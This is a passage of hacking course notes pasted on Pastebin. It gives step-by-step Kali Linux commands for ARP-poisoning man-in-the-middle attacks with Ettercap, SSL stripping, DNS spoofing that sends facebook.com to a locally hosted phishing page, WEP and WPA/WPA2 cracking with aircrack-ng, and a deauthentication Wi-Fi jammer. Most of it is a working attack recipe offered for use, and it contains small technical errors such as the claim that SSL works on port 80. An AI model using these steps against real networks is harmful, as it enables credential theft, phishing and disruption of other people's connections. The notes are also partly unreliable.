  2777. Suppose, there is an intruder in the free wifi, and he is seeing all the data you are transmitting over the network.
  2778. Username
  2779. Passwords
  2780.  
  2781. Which attack he is using?
  2782. -------------------------
  2783. MiTM --> Man In The Middle Attack
  2784. An intruder is listening and seeing (sniffing and spoofing) the data transmitted over by the user. In other words, The attacker is standing between the two nodes of the communication, all the data is going through the attacker's device.
  2785.  
  2786. ARP Poisioning
  2787. ==============
  2788. ARP --> Address Resolution Protocol
  2789. ARP Table ---> Maps IP Address with the MAC Address
  2790. In this attack, the attacked poisons the ARP Cache.
  2791.  
  2792. Ettercap ---> It is a tool which is used for performing MiTM and ARP Poisioning attack in the network. It is pre-installed in Kali Linux.
  2793.  
  2794. Attack
  2795. ======
  2796.  
  2797. 1. Information Gathering
  2798. #arp-scan --local
  2799.  
  2800. 2. Start Ettercap
  2801. #ettercap -G
  2802. G ---> Graphical Version
  2803. Start MiTM Attack
  2804. 1. Goto "Sniff"
  2805. 2. Click on "Unified Sniffing"
  2806. 3. Select the interface ---> eth0
  2807. 4. Goto on "Hosts"
  2808. 5. Click on "Scan For Hosts"
  2809. 6. Goto on "Hosts"
  2810. 7. Click on "Hosts List"
  2811. 192.168.228.137 ---> Target
  2812. Router --> Default Gateway
  2813. #route -n
  2814. 192.168.228.2
  2815. 8. Select default gateway --> 192.168.228.2 ---> Click on "Add To Target 1"
  2816. 9. Select the Target IP Address --> 192.168.228.137 Click on "Add To Target 2"
  2817. 10. Goto "MiTM"
  2818. 11. Click on "ARP Poisioning"
  2819. 12. Check on "Sniff Remote Connections" and click on "OK"
  2820. 13. Goto "Start"
  2821. 14. Click on "Start Sniffing"
  2822.  
  2823. Working
  2824. http://www.vivastreet.co.in
  2825.  
  2826. "Secure Connection Failed"
  2827. https://www.paytm.com
  2828. https://www.linkedin.com
  2829. https://www.instagram.com
  2830. https://www.onlinesbi.com
  2831. https://www.netflix.com
  2832.  
  2833. HTTP --> Hyper Text Transfer Protocol
  2834. HTTPS -> Hyper Text Transfer Protocol Secure
  2835. |
  2836. |--> S=Secure
  2837. |->SSL
  2838. Secure Socket Layer
  2839. 443
  2840.  
  2841. For Performing MiTM and ARP Poisioning on HTTPS websites. We need to do SSL Striping.
  2842. For Performing sslstriping, we need to perform 3 steps
  2843. 1. IP Forwarding
  2844. 2. Traffic Redirection
  2845. 3. SSL Striping
  2846.  
  2847. 1. IP Forwarding
  2848. ================
  2849. To Step up the IP Address and listen for the traffic which is transmitted by SSL.
  2850. #more /proc/sys/net/ipv4/ip_forward
  2851. 0
  2852. #echo "1" > /proc/sys/net/ipv4/ip_forward
  2853. #more /proc/sys/net/ipv4/ip_forward
  2854. 1
  2855.  
  2856. 2. Traffic Redirection
  2857. ======================
  2858. SSL works for port 80.
  2859. Data which is transmitted over port number 80, will be encrypted and protected by SSL. So we will redirect the data from port 80 to any random port, let's say port number 8080.
  2860. #locate etter.conf
  2861. /etc/ettercap/etter.conf
  2862. /usr/share/ettercap/doc/etter.conf.5.pdf
  2863. /usr/share/man/man5/etter.conf.5.gz
  2864. #nano /etc/ettercap/etter.conf
  2865. ec_uid = 0 # nobody is the default
  2866. ec_gid = 0 # nobody is the default
  2867.  
  2868. Scroll Down Until You Find Something Like This
  2869. #---------------
  2870. # Linux
  2871. #---------------
  2872. You will find another line
  2873. #redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"
  2874.  
  2875. Copy that line and paste it in notepad
  2876.  
  2877. #redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"
  2878.  
  2879. we need to modify this command.
  2880.  
  2881. iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 8080 --> This is my commmand
  2882.  
  2883. #iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 8080
  2884.  
  2885. 3. SSL Striping
  2886. ===============
  2887. Now all the thing is set up, we are good to go. Start the sslstriping tool and use it for port 8080
  2888.  
  2889. #sslstrip -l 8080
  2890. -l --> Listining
  2891.  
  2892. Now we will perform MiTM and ARP Poisioning
  2893.  
  2894. Start Ettercap
  2895. #ettercap -G
  2896. G ---> Graphical Version
  2897. Start MiTM Attack
  2898. 1. Goto "Sniff"
  2899. 2. Click on "Unified Sniffing"
  2900. 3. Select the interface ---> eth0
  2901. 4. Goto on "Hosts"
  2902. 5. Click on "Scan For Hosts"
  2903. 6. Goto on "Hosts"
  2904. 7. Click on "Hosts List"
  2905. 192.168.228.137 ---> Target
  2906. Router --> Default Gateway
  2907. #route -n
  2908. 192.168.228.2
  2909. 8. Select default gateway --> 192.168.228.2 ---> Click on "Add To Target 1"
  2910. 9. Select the Target IP Address --> 192.168.228.137 Click on "Add To Target 2"
  2911. 10. Goto "MiTM"
  2912. 11. Click on "ARP Poisioning"
  2913. 12. Check on "Sniff Remote Connections" and click on "OK"
  2914. 13. Goto "Start"
  2915. 14. Click on "Start Sniffing"
  2916.  
  2917. DNS Poisioning Attack | DNS Spoofing Attack
  2918. ===========================================
  2919. It will let the user to redirect to phishing web page in the network
  2920. www.facebook.com ----> It will go to my IP ADdress where i have hosted another phishing page.
  2921.  
  2922. #locate etter.conf
  2923. /etc/ettercap/etter.conf
  2924. /usr/share/ettercap/doc/etter.conf.5.pdf
  2925. /usr/share/man/man5/etter.conf.5.gz
  2926. #nano /etc/ettercap/etter.conf
  2927.  
  2928. [privs]
  2929. ec_uid = 1234234 # nobody is the default
  2930. ec_gid = 4124123 # nobody is the default
  2931.  
  2932. make ec_uid and ec_gid as 0
  2933. I will scroll down until I find something written as
  2934. -----
  2935. LINUX
  2936. -----
  2937. # if you use iptables:
  2938. #redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"
  2939. # redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"
  2940.  
  2941. Remove the hashed from both the lines
  2942.  
  2943. # if you use iptables:
  2944. redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"
  2945. redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"
  2946.  
  2947. #ettercap -G
  2948. Sniff ---> Unified Sniffing ---> Network Interface --> eth0
  2949. Hosts ---> Scan For Hosts
  2950. Hosts --> Hosts List
  2951. Select the target 1 as the default gateway
  2952. route -n
  2953. 172.16.226.2
  2954. Select the target 2 as the victim machine
  2955. 172.16.226.154
  2956. MiTM --> ARP Poisioning --> Sniff Remote Connection Only
  2957. Goto "Plugins" --> Manage the Plugins
  2958. Double click "dns_spoof"
  2959. Start ---> Start sniffing
  2960.  
  2961. #locate etter.dns
  2962. /etc/ettercap/etter.dns
  2963. #nano /etc/ettercap/etter.dns
  2964. search where it is written
  2965. www.microsoft.com A *.*.*.*
  2966.  
  2967. enter below
  2968. www.facebook.com A <your IP Address>
  2969. facebook.com A <your IP Address>
  2970.  
  2971. save the file and exit
  2972.  
  2973. #service apache2 start
  2974.  
  2975. /var/www/html/ ---> place your phishing page here
  2976.  
  2977.  
  2978. Xerosploit
  2979. ==========
  2980. Go to google.com
  2981. --> github xerosploit
  2982. --> https://github.com/LionSec/xerosploit
  2983. You will see a green button, ---> Clone or Download
  2984. Copy that link
  2985. --> https://github.com/LionSec/xerosploit.git
  2986. Open a terminal in kali linux and type
  2987. #git clone https://github.com/LionSec/xerosploit.git
  2988. #cd xerosploit
  2989. #python install.py
  2990.  
  2991. -x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-
  2992.  
  2993. Session 19 and Session 20
  2994. =========================
  2995. Wireless Security
  2996. -----------------
  2997.  
  2998. Wireless Technology
  2999. -------------------
  3000. WiFi --> Wireless Fidility
  3001. Bluetooth
  3002. RFID
  3003.  
  3004. IEEE 802.11(a|b|n)
  3005. ------------------
  3006. This is set of standards, which tells me the following things
  3007. -- Number Of devices that can connect
  3008. -- Maximun Data Transmission Speed
  3009. -- Protocols Support
  3010. -- Area Cover
  3011.  
  3012. WiFi
  3013. ====
  3014. 1. WEP
  3015. 2. WPA|WPA2
  3016.  
  3017. BSSID MAC address of the access point. In the Client section, a BSSID of "(not associated)" means that the client
  3018. is not associated with any AP. In this unassociated state, it is searching for an AP to connect with.
  3019.  
  3020. PWR Signal level reported by the card. Its signification depends on the driver, but as the signal gets higher
  3021. you get closer to the AP or the station. If the BSSID PWR is -1, then the driver doesn't support signal
  3022. level reporting. If the PWR is -1 for a limited number of stations then this is for a packet which came
  3023. from the AP to the client but the client transmissions are out of range for your card. Meaning you are
  3024. hearing only 1/2 of the communication. If all clients have PWR as -1 then the driver doesn't support signal
  3025. level reporting.
  3026.  
  3027. RXQ Only shown when on a fixed channel. Receive Quality as measured by the percentage of packets (management
  3028. and data frames) successfully received over the last 10 seconds. It's measured over all management and data
  3029. frames. That's the clue, this allows you to read more things out of this value. Lets say you got 100 per‐
  3030. cent RXQ and all 10 (or whatever the rate) beacons per second coming in. Now all of a sudden the RXQ drops
  3031. below 90, but you still capture all sent beacons. Thus you know that the AP is sending frames to a client
  3032. but you can't hear the client nor the AP sending to the client (need to get closer). Another thing would
  3033. be, that you got a 11MB card to monitor and capture frames (say a prism2.5) and you have a very good posi‐
  3034. tion to the AP. The AP is set to 54MBit and then again the RXQ drops, so you know that there is at least
  3035. one 54MBit client connected to the AP.
  3036.  
  3037. Beacons
  3038. Number of beacons sent by the AP. Each access point sends about ten beacons per second at the lowest rate
  3039. (1M), so they can usually be picked up from very far.
  3040.  
  3041. #Data Number of captured data packets (if WEP, unique IV count), including data broadcast packets.
  3042.  
  3043. #/s Number of data packets per second measure over the last 10 seconds.
  3044.  
  3045. CH Channel number (taken from beacon packets). Note: sometimes packets from other channels are captured even
  3046. if airodump-ng is not hopping, because of radio interference.
  3047.  
  3048. MB Maximum speed supported by the AP. If MB = 11, it's 802.11b, if MB = 22 it's 802.11b+ and higher rates are
  3049. 802.11g. The dot (after 54 above) indicates short preamble is supported. 'e' indicates that the network has
  3050. QoS (802.11e) enabled.
  3051.  
  3052. ENC Encryption algorithm in use. OPN = no encryption,"WEP?" = WEP or higher (not enough data to choose between
  3053. WEP and WPA/WPA2), WEP (without the question mark) indicates static or dynamic WEP, and WPA or WPA2 if TKIP
  3054. or CCMP or MGT is present.
  3055.  
  3056. CIPHER The cipher detected. One of CCMP, WRAP, TKIP, WEP, WEP40, or WEP104. Not mandatory, but TKIP is typically
  3057. used with WPA and CCMP is typically used with WPA2. WEP40 is displayed when the key index is greater then
  3058. 0. The standard states that the index can be 0-3 for 40bit and should be 0 for 104 bit.
  3059.  
  3060. AUTH The authentication protocol used. One of MGT (WPA/WPA2 using a separate authentication server), SKA (shared
  3061. key for WEP), PSK (pre-shared key for WPA/WPA2), or OPN (open for WEP).
  3062.  
  3063. WPS This is only displayed when --wps (or -W) is specified. If the AP supports WPS, the first field of the col‐
  3064. umn indicates version supported. The second field indicates WPS config methods (can be more than one
  3065. method, separated by comma): USB = USB method, ETHER = Ethernet, LAB = Label, DISP = Display, EXTNFC =
  3066. External NFC, INTNFC = Internal NFC, NFCINTF = NFC Interface, PBC = Push Button, KPAD = Keypad. Locked is
  3067. displayed when AP setup is locked.
  3068.  
  3069. ESSID The so-called "SSID", which can be empty if SSID hiding is activated. In this case, airodump-ng will try to
  3070. recover the SSID from probe responses and association requests.
  3071.  
  3072.  
  3073. WEP
  3074. ===
  3075. #iwconfig
  3076. #airmon-ng
  3077. #airmon-ng start wlan0
  3078. #iwconfig
  3079. #airodump-ng wlan0mon
  3080. bssid channel number
  3081. #airodump-ng --bssid <Target's BSSID> -c <Target's Channel Number> -w <File Name In Which I want To Capture the Beacons --> aranjit> wlan0mon
  3082. Wait until the beacons number reaches to 25,000
  3083. #aircrack-ng aranjit-01.cap
  3084.  
  3085. WPA|WPA2
  3086. ========
  3087. When there is a new device connecting
  3088. -------------------------------------
  3089. #iwconfig
  3090. #airmon-ng
  3091. #airmon-ng start wlan0
  3092. #iwconfig
  3093. #airodump-ng wlan0mon
  3094. bssid channel number
  3095. #airodump-ng --bssid <Target's BSSID> -c <Target's Channel Number> -w <File Name In Which I want To Capture the Beacons --> aranjit> wlan0mon
  3096. It will help you to get the WPA handshake
  3097. #aircrack-ng -w /usr/share/wordlists/rockyou.txt aranjit-01.cap
  3098.  
  3099.  
  3100. When there is no new device connecting
  3101. -------------------------------------
  3102. #iwconfig
  3103. #airmon-ng
  3104. #airmon-ng start wlan0
  3105. #iwconfig
  3106. #airodump-ng wlan0mon
  3107. bssid channel number
  3108. #airodump-ng --bssid <Target's BSSID> -c <Target's Channel Number> -w <File Name In Which I want To Capture the Beacons --> aranjit> wlan0mon
  3109. It will help you to get the WPA handshake
  3110. #aireplay-ng -0 10 -a <Router's BSSID> -s <Station's BSSID> wlan0mon
  3111. This will make us capture the handshake
  3112. #aircrack-ng -w /usr/share/wordlists/rockyou.txt aranjit-01.cap
  3113.  
  3114. WiFi Jammer
  3115. ===========
  3116. #aireplay-ng -0 0 -a <Router's BSSID> -s FF:FF:FF:FF:FF:FF wlan0mon
  3117.  
  3118. Desktop Security
  3119. Information Gathering
  3120. Phases of Hacking
  3121. Cyber Laws
  3122. Malware Illustration
  3123. Social Engineering and Phishing Attacks
  3124. OWASP Top 10 Attacks
  3125. SQL Injections
  3126. XXS --> Cross Site Scripting
  3127. Network Exploitation and Security
  3128. Wireless Network Exploitation and Security
  3129. Mobile Device Exploitation
  3130.  
  3131. mimikatz
  3132. Vault 7: year zero
  3133. GET and POST
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!